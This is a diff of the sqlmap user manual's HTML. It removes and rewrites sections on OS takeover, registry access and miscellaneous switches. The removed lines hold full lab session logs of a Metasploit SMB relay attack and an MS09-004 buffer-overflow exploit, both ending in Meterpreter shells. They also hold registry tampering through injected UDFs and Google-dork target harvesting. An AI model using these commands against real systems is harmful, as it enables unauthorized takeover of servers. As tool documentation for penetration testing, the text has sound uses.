-IP Address  : 172.16.213.128
-Netmask     : 255.255.255.0
-
-
-meterpreter > getuid
-Server username: NT AUTHORITY\SYSTEM
-meterpreter > exit
-
-[hh:mm:52] [INFO] cleaning up the database management system
-
    -
    -

    - - -

    One click prompt for an out-of-band shell, meterpreter or VNC

    - -

    Options: --os-smbrelay, --priv-esc and --msf-path

    - -

    If the back-end database management system runs on Windows as -Administrator and the system is not patched against Microsoft -Security Bulletin -MS08-068, sqlmap can abuse the universal naming convention (UNC) -feature within any database management system to force the database server -to initiate a SMB connection with the attacker host, then perform a SMB -authentication relay attack in order to establish a high-privileged -out-of-band TCP stateful channel between the attacker host and -the target database server. -sqlmap relies on -Metasploit's SMB relay exploit to perform this attack. -You need to run sqlmap as a privileged user (e.g. root) if you -want to perform a SMB relay attack because it will need to listen on a -user-specified SMB TCP port for incoming connection attempts.

    - -

    Note that this feature is not supported by sqlmap running on Windows -platform because it relies on Metasploit's msfpayload which is -not fully working on Windows.

    - -

    This technique is detailed in the white paper -Advanced SQL injection to operating system full control.

    - -

    Example on a Microsoft SQL Server 2005 Service Pack 0 running as -Administrator on the target:

    -

    -

    -
    -$ sudo python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
-  --os-smbrelay -v 1 --msf-path /home/inquis/software/metasploit
-
-[...]
-[hh:mm:11] [INFO] the back-end DBMS is Microsoft SQL Server
-web server operating system: Windows 2000
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP
-back-end DBMS: Microsoft SQL Server 2005
-
-[hh:mm:11] [INFO] testing stacked queries support on parameter 'name'
-[hh:mm:16] [INFO] the web application supports stacked queries on parameter 'name'
-[hh:mm:16] [WARNING] it is unlikely that this attack will be successful because often 
-Microsoft SQL Server 2005 runs as Network Service which is not a real user, it does not 
-send the NTLM session hash when connecting to a SMB service
-[hh:mm:16] [INFO] which connection type do you want to use?
-[1] Bind TCP (default)
-[2] Bind TCP (No NX)
-[3] Reverse TCP
-[4] Reverse TCP (No NX)
-> 1
-[hh:mm:16] [INFO] which is the local address? [172.16.213.161] 172.16.213.161
-[hh:mm:16] [INFO] which is the back-end DBMS address? [172.16.213.131] 172.16.213.131
-[hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907
-[hh:mm:16] [INFO] which payload do you want to use?
-[1] Meterpreter (default)
-[2] Shell
-[3] VNC
-> 1
-[hh:mm:16] [INFO] which SMB port do you want to use?
-[1] 139/TCP (default)
-[2] 445/TCP
-> 1
-[hh:mm:16] [INFO] running Metasploit Framework 3 console locally, wait..
-
-                _                  _       _ _
-               | |                | |     (_) |
- _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
-| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
-| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
-|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
-                            | |
-                            |_|
-
-
-       =[ msf v3.3-dev
-+ -- --=[ 392 exploits - 234 payloads
-+ -- --=[ 20 encoders - 7 nops
-       =[ 168 aux
-
-resource> use windows/smb/smb_relay
-resource> set SRVHOST 172.16.213.161
-SRVHOST => 172.16.213.161
-resource> set SRVPORT 139
-SRVPORT => 139
-resource> set PAYLOAD windows/meterpreter/bind_tcp
-PAYLOAD => windows/meterpreter/bind_tcp
-resource> set LPORT 4907
-LPORT => 4907
-resource> set RHOST 172.16.213.131
-RHOST => 172.16.213.131
-resource> exploit
-[*] Exploit running as background job.
-msf exploit(smb_relay) > 
-[*] Started bind handler
-[*] Server started.
-[*] Received 172.16.213.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 
-Service Pack 2 LM:
-[*] Sending Access Denied to 172.16.213.131:3242 \
-[*] Received 172.16.213.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows 
-Server 2003 3790 Service Pack 2 LM:
-[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
-[*] AUTHENTICATED as W2K3DEV\Administrator...
-[*] Connecting to the ADMIN$ share...
-[*] Regenerating the payload...
-[*] Uploading payload...
-[*] Created \wELRmcmd.exe...
-[*] Connecting to the Service Control Manager...
-[*] Obtaining a service manager handle...
-[*] Creating a new service...
-[*] Closing service handle...
-[*] Opening service...
-[*] Starting the service...
-[*] Removing the service...
-[*] Closing service handle...
-[*] Deleting \wELRmcmd.exe...
-[*] Sending Access Denied to 172.16.213.131:3242 W2K3DEV\Administrator
-[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
-[*] Received 172.16.213.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 
-Service Pack 2 LM:
-[*] Sending Access Denied to 172.16.213.131:3244 \
-[*] Received 172.16.213.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows 
-Server 2003 3790 Service Pack 2 LM:
-[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
-[*] AUTHENTICATED as W2K3DEV\Administrator...
-[*] Ignoring request from 172.16.213.131, attack already in progress.
-[*] Sending Access Denied to 172.16.213.131:3244 W2K3DEV\Administrator
-[*] Sending stage (718336 bytes)
-[*] Meterpreter session 1 opened (172.16.213.161:51813 -> 172.16.213.131:4907)
-
-Active sessions
-===============
-
-  Id  Description  Tunnel                                       
-  --  -----------  ------                                       
-  1   Meterpreter  172.16.213.161:51813 -> 172.16.213.131:4907  
-
-msf exploit(smb_relay) > [*] Starting interaction with 1...
-
-meterpreter > [-] The 'priv' extension has already been loaded.
-meterpreter > getuid
-Server username: NT AUTHORITY\SYSTEM
-meterpreter > exit
-
-[*] Meterpreter session 1 closed.
-msf exploit(smb_relay) > exit
-
-[*] Server stopped.
-
    -
    -

    - - -

    Database stored procedure heap-based buffer overflow exploit

    - -

    Options: --os-bof, --priv-esc and --msf-path

    - -

    If the back-end database management system is Microsoft SQL Server not -patched against Microsoft Security Bulletin -MS09-004, sqlmap can exploit the heap-based buffer overflow -affecting sp_replwritetovarbin stored procedure in order to -establish an out-of-band TCP stateful channel between the -attacker host and the target database server. -sqlmap has its own exploit to trigger the vulnerability, but it relies on -Metasploit to -generate the shellcode used within the exploit.

    - -

    Note that this feature is not supported by sqlmap running on Windows -platform because it relies on Metasploit's msfcli which is not -available for Windows.

    - -

    This technique is detailed in the white paper -Advanced SQL injection to operating system full control and in the -slide deck -Expanding the control over the operating system from the database.

    - -

    Example on a Microsoft SQL Server 2005 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1 \
-  --os-bof -v 1 --msf-path ~/software/metasploit
-
-[...]
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP
-back-end DBMS: Microsoft SQL Server 2005
-
-[hh:mm:51] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:56] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:56] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin' 
-stored procedure heap-based buffer overflow (MS09-004)
-[hh:mm:56] [INFO] fingerprinting the back-end DBMS operating system version and service pack
-[hh:mm:56] [INFO] retrieved: 1
-[hh:mm:58] [INFO] retrieved: 1
-[hh:mm:58] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2
-[hh:mm:58] [INFO] creating Metasploit Framework 3 multi-stage shellcode 
-which connection type do you want to use?
-[1] Reverse TCP: Connect back from the database host to this machine (default)
-[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
-between the specified and 65535
-[3] Bind TCP: Listen on the database host for a connection
-> 
-which is the local address? [172.16.213.1] 
-which local port number do you want to use? [21380] 
-which payload do you want to use?
-[1] Meterpreter (default)
-[2] Shell
-[3] VNC
-> 
-which payload encoding do you want to use?
-[1] No Encoder
-[2] Alpha2 Alphanumeric Mixedcase Encoder
-[3] Alpha2 Alphanumeric Uppercase Encoder
-[4] Avoid UTF8/tolower
-[5] Call+4 Dword XOR Encoder
-[6] Single-byte XOR Countdown Encoder
-[7] Variable-length Fnstenv/mov Dword XOR Encoder
-[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
-[9] Non-Alpha Encoder
-[10] Non-Upper Encoder
-[11] Polymorphic XOR Additive Feedback Encoder (default)
-[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
-[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
-> 
-[hh:mm:16] [INFO] creation in progress .... done
-[hh:mm:20] [INFO] running Metasploit Framework 3 command line interface locally, wait..
-[*] Please wait while we load the module tree...
-[*] Started reverse handler on 172.16.213.1:21380 
-[*] Starting the payload handler...
-[hh:mm:27] [INFO] triggering the buffer overflow vulnerability, wait..
-[*] Sending stage (748032 bytes)
-[*] Meterpreter session 1 opened (172.16.213.1:21380 -> 172.16.213.128:12062)
-
-meterpreter > Loading extension espia...success.
-meterpreter > Loading extension incognito...success.
-meterpreter > Loading extension priv...success.
-meterpreter > Loading extension sniffer...success.
-meterpreter > Computer: W2K3DEV
-OS      : Windows .NET Server (Build 3790, Service Pack 2).
-Arch    : x86
-Language: en_US
-meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
-meterpreter > ipconfig
-
-MS TCP Loopback interface
-Hardware MAC: 00:00:00:00:00:00
-IP Address  : 127.0.0.1
-Netmask     : 255.0.0.0
-
-
-
-VMware Accelerated AMD PCNet Adapter #2
-Hardware MAC: 00:0c:29:86:69:1b
-IP Address  : 172.16.213.128
-Netmask     : 255.255.255.0
-
-
-meterpreter > exit
-
    -
    -

    - - -

    5.11 Windows registry access +

    5.14 Windows registry access

    -

    It is possible to access Windows registry when the back-end -database management system is either MySQL, PostgreSQL or -Microsoft SQL Server, and when the underlying database layer -supports stacked SQL queries. Also, session user has to have -the needed privileges to access it.

    +

    It is possible to access Windows registry when the back-end database +management system is either MySQL, PostgreSQL or Microsoft SQL Server, +and when the web application supports stacked queries. Also, session user +has to have the needed privileges to access it.

    Read a Windows registry key value

    -

    Option: --reg-read

    +

    Switch: --reg-read

    Using this option you can read registry key values.

    -

    Example on a PostgreSQL 8.4 target:

    -

    -

    -
    -$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-read
-
-[...]
-web server operating system: Windows
-web application technology: PHP 5.3.1, Apache 2.2.14
-back-end DBMS: PostgreSQL
-
-[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:15] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:15] [INFO] retrieved: 8.4.2,
-[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:23] [INFO] retrieved: 1
-[hh:mm:23] [INFO] the back-end DBMS operating system is Windows
-[hh:mm:23] [INFO] testing if current user is DBA
-[hh:mm:23] [INFO] retrieved: 1
-[hh:mm:23] [INFO] checking if UDF 'sys_eval' already exist
-[hh:mm:23] [INFO] retrieved: 0
-[hh:mm:24] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:24] [INFO] retrieved: 0
-[hh:mm:25] [INFO] creating UDF 'sys_eval' from the binary UDF file
-[hh:mm:25] [INFO] creating UDF 'sys_exec' from the binary UDF file
-which registry key do you want to read? [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
-CurrentVersion]
-which registry key value do you want to read? [ProductName]
-[hh:mm:34] [INFO] reading Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
-Windows NT\CurrentVersion\ProductName'
-[hh:mm:35] [INFO] retrieved: ProductName        REG_SZ  Microsoft Windows XP
-Registry key value data:    'ProductName        REG_SZ  Microsoft Windows XP'
-
    -
    -

    -

    Write a Windows registry key value

    -

    Option: --reg-add

    +

    Switch: --reg-add

    Using this option you can write registry key values.

    -

    Example on a PostgreSQL 8.4 target:

    -

    -

    -
    -$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add
-
-[...]
-web server operating system: Windows
-web application technology: PHP 5.3.1, Apache 2.2.14
-back-end DBMS: PostgreSQL
-
-[hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:20] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:20] [INFO] retrieved: 8.4.2,
-[hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:29] [INFO] retrieved: 1
-[hh:mm:30] [INFO] the back-end DBMS operating system is Windows
-[hh:mm:30] [INFO] testing if current user is DBA
-[hh:mm:30] [INFO] retrieved: 1
-[hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:30] [INFO] retrieved: 0
-[hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
-which registry key do you want to write? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
-which registry key value do you want to write? Test
-which registry key value data do you want to write? 1
-which registry key value data-type is it? [REG_SZ] REG_DWORD
-[hh:mm:41] [INFO] adding Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'
-with data '1'. This will work only if the user running the database process has privileges
-to modify the Windows registry.
-
    -
    -

    -

    Delete a Windows registry key

    -

    Option: --reg-del

    +

    Switch: --reg-del

    Using this option you can delete registry keys.

    -

    Example on a PostgreSQL 8.4 target:

    -

    -

    -
    -$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-del
-
-[...]
-web server operating system: Windows
-web application technology: PHP 5.3.1, Apache 2.2.14
-back-end DBMS: PostgreSQL
-
-[hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:20] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:20] [INFO] retrieved: 8.4.2,
-[hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:29] [INFO] retrieved: 1
-[hh:mm:30] [INFO] the back-end DBMS operating system is Windows
-[hh:mm:30] [INFO] testing if current user is DBA
-[hh:mm:30] [INFO] retrieved: 1
-[hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:30] [INFO] retrieved: 0
-[hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
-which registry key do you want to delete? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
-which registry key value do you want to delete? Test
-are you sure that you want to delete the Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\
-sqlmap\Test? [y/N] y
-[hh:mm:26] [INFO] deleting Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'. 
-This will work only if the user running the database process has privileges to modify the 
-Windows registry.
-
    -
    -

    - -

    Auxiliary registry switches

    -

    Options: --reg-key, --reg-value, +

    Switches: --reg-key, --reg-value, --reg-data and --reg-type

    These switches can be used to provide data needed for proper running of @@ -5706,82 +2535,48 @@ options --reg-read, --reg-add -

    With --reg-key option you specify used windows -registry key path, with --reg-value value item -name inside provided key, with --reg-data value -data, while with --reg-type option you specify -type of the value item.

    +

    With --reg-key option you specify used Windows registry +key path, with --reg-value value item name inside +provided key, with --reg-data value data, while with +--reg-type option you specify type of the value item.

    -

    So, another way of running example from option ---reg-add could be:

    +

    A sample command line for adding a registry key hive follows:

    -$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add \ 
-  --reg-key=HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap --reg-value=Test --reg-type=REG_SZ --reg-data=1
+$ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \ 
+  --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

    -

    5.12 Miscellaneous + +

    5.15 General

    -

    Session file: save and resume all data retrieved

    +

    TODO

    -

    Option: -s

    +

    Switch: -t

    -

    By default sqlmap logs all queries and their output into a text file while -performing whatever request, both in blind SQL injection and in inband SQL -injection. -This is useful if you stop the injection and resume it after some time.

    +

    TODO

    -

    The default session file is output/hostname/session, but you can -change its path with the -s option.

    -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
-  -v 2 -s "sqlmap.log"
+
    Session file: save and resume data retrieved
    
 
-[...]
-back-end DBMS:  PostgreSQL
-[hh:mm:02] [DEBUG] query: VERSION()
-[hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C
-[hh:mm:03] [ERROR] user aborted
-
    -
    -

    +

    Switch: -s

    -

    As you can see, I stopped the injection with CTRL-C while -retrieving the PostgreSQL banner and logged the session to text file -sqlmap.log.

    -

    -

    -
    -$ cat sqlmap.log
+
    By default sqlmap logs all queries and their output into a textual file
+called session file, regardless of the technique used to extract
+the data.
+This is useful if you stop the injection for any reason and rerun it
+afterwards: sqlmap will parse the session file and resume enumerated data
+from it, then carry on extracting data from the exact point where it left
+before you stopped the tool.
    
 
-[hh:mm:00 MM/DD/YY]
-[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET]
-[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id]
-[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric]
-[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
-[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][]
-[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
-[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3]
-[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
-[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
-[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5 
-on i486-pc-
-
    -
    -

    +

    The default session file is output/TARGET_URL/session, but you +can specify a different file path with -s switch.

    -

    As you can see, all queries performed and their output have been logged to -the session file in real time while performing the injection.

    - -

    The session file has a structure as follows:

    +

    The session file has the following structure:

    @@ -5791,445 +2586,171 @@ the session file in real time while performing the injection.

    -

    Performing the same request now, sqlmap resumes all information already -retrieved then calculates the query length, in the example -VERSION(), and resumes the injection from the last character -retrieved to the end of the query output.

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
-  -v 2 -s "sqlmap.log"
-
-[...]
-[hh:mm:03] [INFO] resuming injection point 'GET' from session file
-[hh:mm:03] [INFO] resuming injection parameter 'id' from session file
-[hh:mm:03] [INFO] resuming injection type 'numeric' from session file
-[hh:mm:03] [INFO] resuming 0 number of parenthesis from session file
-[hh:mm:03] [INFO] resuming back-end DBMS 'PostgreSQL' from session file
-[hh:mm:03] [INFO] testing connection to the target url
-[hh:mm:03] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:03] [INFO] retrieving the length of query output
-[hh:mm:03] [DEBUG] query: LENGTH(VERSION())
-[hh:mm:03] [INFO] retrieved: 98
-[hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on i486-pc-...
-[hh:mm:03] [INFO] retrieving pending 70 query output characters
-[hh:mm:03] [DEBUG] query: SUBSTR((VERSION())::text, 29, 98)
-[hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real 
-(Ubuntu 4.3.2-1ubuntu11) 4.3.2
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-back-end DBMS: PostgreSQL
-
-[hh:mm:07] [INFO] fetching banner
-banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real 
-(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
-
    -
    -

    +

    A more user friendly textual file where all data retrieved is saved, is +the log file, output/TARGET_URL/log. This file can be +useful to see all information enumerated to the end.

    -

    Flush session file for current target

    +

    Flush session file

    -

    Option: --flush-session

    +

    Switch: --flush-session

    As you are already familiar with the concept of a session file from the -description of option -s, it is good to know that you can flush -the content of that same file using option --flush-session. -This way you can avoid caching mechanisms implemented by default in -sqlmap. Other possible way is the manual removing of session file(s), -sqlmap.log in the example above, or the default -output/hostname/session if -s is not provided.

    +description above, it is good to know that you can flush the content of +that file using option --flush-session. +This way you can avoid the caching mechanisms implemented by default in +sqlmap. Other possible way is to manually remove the session file(s).

    Estimated time of arrival

    -

    Option: --eta

    +

    Switch: --eta

    -

    It is possible to calculate and show the estimated time of arrival to -retrieve each query output in real time while performing the SQL injection -attack.

    +

    It is possible to calculate and show in real time the estimated time of +arrival to retrieve each query output. This is shown when the technique +used to retrieve the output is any of the blind SQL injection types.

    -

    Example on an Oracle XE 10.2.0.1 target:

    +

    Example against an Oracle target affected only by boolean-based blind SQL +injection:

    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b \
-  --eta -v 2
+$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
 
 [...]
-back-end DBMS:  Oracle
-
-[hh:mm:24] [INFO] fetching banner
-[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query 
-output again
-[hh:mm:24] [INFO] retrieved the length of query output: 64
-[hh:mm:24] [DEBUG] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version 
-WHERE ROWNUM=1
-77% [=======================================>            ] 49/64  ETA 00:00    
+[hh:mm:01] [INFO] the back-end DBMS is Oracle
+[hh:mm:01] [INFO] fetching banner
+[hh:mm:01] [INFO] retrieving the length of query output
+[hh:mm:01] [INFO] retrieved: 64
+17% [========>                                          ] 11/64  ETA 00:19

    -

    then:

    +

    Then:

    -100% [====================================================] 64/64              
-[hh:mm:15] [DEBUG] performed 454 queries in 2 seconds
-banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
-
    -
    -

    +100% [===================================================] 64/64 +[10:28:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" \
-  --users --eta -v 1
-
-[...]
-back-end DBMS:  Microsoft SQL Server 2000
-
-[hh:mm:57] [INFO] fetching database users
-[hh:mm:57] [INFO] fetching number of database users
-[hh:mm:57] [INFO] retrieved: 3
-[hh:mm:57] [INFO] retrieved the length of query output: 22
-100% [====================================================] 22/22
-[hh:mm:58] [INFO] retrieved the length of query output: 2
-100% [====================================================] 2/2
-[hh:mm:59] [INFO] retrieved the length of query output: 25
-100% [====================================================] 25/25
-[hh:mm:00] [DEBUG] performed 181 queries in 1 seconds
-database management system users [3]:
-[*] BUILTIN\Administrators
-[*] sa
-[*] W2KITINQUIS\Administrator
+web application technology: PHP 5.2.6, Apache 2.2.9
+back-end DBMS: Oracle
+banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

    As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and -counts the number of retrieved query output characters.

    - - -

    Use Google dork results from specified page number

    - -

    Option: --gpage

    - -

    Default sqlmap behavior with option -g is to do a Google -search and use resulting urls from first (100) result page for further -sql injection testing. In combination with this option you can specify -some other page other than the first one for retrieving target urls.

    - -

    Example of Google dorking with expression login ext:php -and resulting page set to 3:

    -

    -

    -
    -$ python sqlmap.py -g "ext:php login" --gpage 3 -v 1
-
-[hh:mm:14] [INFO] first request to Google to get the session cookie
-[hh:mm:14] [INFO] using Google result page #3
-[hh:mm:14] [INFO] sqlmap got 100 results for your Google dork expression, 89 of them are 
-testable targets
-[hh:mm:15] [INFO] sqlmap got a total of 89 targets
-url 1:
-GET http://www.XXX.com/index.php?pageid=login
-do you want to test this url? [Y/n/q]
-> y
-[hh:mm:17] [INFO] testing url http://www.XXX.com/index.php?pageid=login
-[hh:mm:17] [INFO] using '/home/inquis/sqlmap/output/www.XXX.com/session' as session file
-[hh:mm:17] [INFO] testing connection to the target url
-[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:19] [INFO] url is stable
-[hh:mm:19] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:21] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:22] [INFO] testing if Cookie parameter 'PHPSESSID' is dynamic
-[hh:mm:24] [INFO] confirming that Cookie parameter 'PHPSESSID' is dynamic
-[hh:mm:27] [INFO] Cookie parameter 'PHPSESSID' is dynamic
-[...]
-
    -
    -

    +counts the number of retrieved output characters.

    Update sqlmap

    -

    Option: --update

    +

    Switch: --update

    -

    Using this option you can update the program to the latest version -directly from the Subversion repository along with the latest -Microsoft SQL Server XML versions file from Chip Andrews' -SQLSecurity.com site.

    -

    -

    -
    -$ python sqlmap.py --update
+
    Using this option you can update the tool to the latest development
+version directly from the subversion repository. You obviously need
+Internet access.
    
 
-[...]
-[hh:mm:27] [INFO] updating sqlmap to latest development version from the subversion repository
-[hh:mm:28] [INFO] updated to the latest revision XXXX
-[hh:mm:29] [INFO] updating Microsoft SQL Server XML versions file
-[hh:mm:33] [INFO] no new Microsoft SQL Server versions since the last update
-[...]
-
    -
    -

    - -

    The Debian and Red Hat installation packages (deb and rpm) as well as the -Windows binary package (exe) can not be used to update sqlmap. You need -a source package (gzip, bzip2 or zip) to use this feature.

    +

    If, for any reason, this operation fails, try with a manual svn +update from your sqlmap working copy. It will perform the exact same +operation of switch --update. +If you are running sqlmap on Windows, you can use the TartoiseSVN client +by right-clicking in Windows Explorer into your local sqlmap working copy +and Update.

    Save options in a configuration INI file

    -

    Option: --save

    +

    Switch: --save

    It is possible to save the command line options to a configuration INI -file.

    - -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
-  -v 1 --save
-
-[hh:mm:33] [INFO] saved command line options on '/home/inquis/sqlmap/sqlmap-SAUbs.conf' 
-configuration file
-[hh:mm:33] [INFO] testing connection to the target url
-[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
-[...]
-
    -
    -

    - -

    As you can see, sqlmap saved the command line options to a configuration -INI file, sqlmap-SAUbs.conf.

    -

    -

    -
    -$ cat sqlmap-SAUbs.conf
-[Target]
-url = http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1
-googledork = 
-configfile = 
-list = 
-requestfile = 
-
-[Windows]
-regread = False
-regval = 
-regdata = 
-regadd = False
-regdel = False
-regtype = 
-regkey = 
-
-[User-defined function]
-shlib = 
-udfinject = False
-
-[Request]
-cookieurlencode = False
-ignoreproxy = False
-threads = 1
-acert = 
-retries = 3
-useragentsfile = 
-atype = 
-agent = 
-delay = 0
-headers = 
-cookie = 
-proxy = 
-timeout = 30
-scope = 
-acred = 
-referer = 
-dropsetcookie = False
-data = 
-method = GET
-
-[Miscellaneous]
-updateall = False
-sessionfile = 
-eta = False
-batch = False
-flushsession = False
-cleanup = False
-googlepage = 0
-verbose = 1
-
-[Enumeration]
-limitstop = 0
-getpasswordhashes = False
-excludesysdbs = False
-getcurrentdb = False
-getcurrentuser = False
-limitstart = 0
-query = 
-getusers = False
-isdba = False
-gettables = False
-dumptable = False
-getdbs = False
-db = 
-sqlshell = False
-tbl = 
-firstchar = 0
-getcolumns = False
-getbanner = True
-dumpall = False
-getprivileges = False
-lastchar = 0
-col = 
-user = 
-
-[File system]
-dfile = 
-wfile = 
-rfile = 
-
-[Takeover]
-msfpath = 
-osshell = False
-ossmb = False
-privesc = False
-ospwn = False
-tmppath = 
-oscmd = 
-osbof = False
-
-[Fingerprint]
-extensivefp = False
-
-[Injection]
-dbms = 
-string = 
-postfix = 
-regexp = 
-prefix = 
-testparameter = 
-estring = 
-eregexp = 
-os = 
-
-[Techniques]
-utech = 
-unionuse = False
-timetest = False
-uniontest = False
-stackedtest = False
-timesec = 5
-
    -
    -

    - -

    The file is a valid sqlmap configuration INI file. -You can edit the configuration options as you wish and pass it to sqlmap -with the -c option as explained above in section 5.2.5:

    -

    -

    -
    -$ python sqlmap.py -c sqlmap-SAUbs.conf
-
-[...]
-banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real 
-(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
-
    -
    -

    +file. +The generated file can then be edited and passed to sqlmap with the +-c option as explained above.

    Act in non-interactive mode

    -

    Option: --batch

    +

    Switch: --batch

    If you want sqlmap to run as a batch tool, without any user's interaction -when sqlmap requires it, you can force it by using --batch -option, and leave sqlmap to go for a default behaviour.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_str.php?id=1&name=luther" \
-  --batch -v 1
-
-[...]
-[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
-[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
-[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
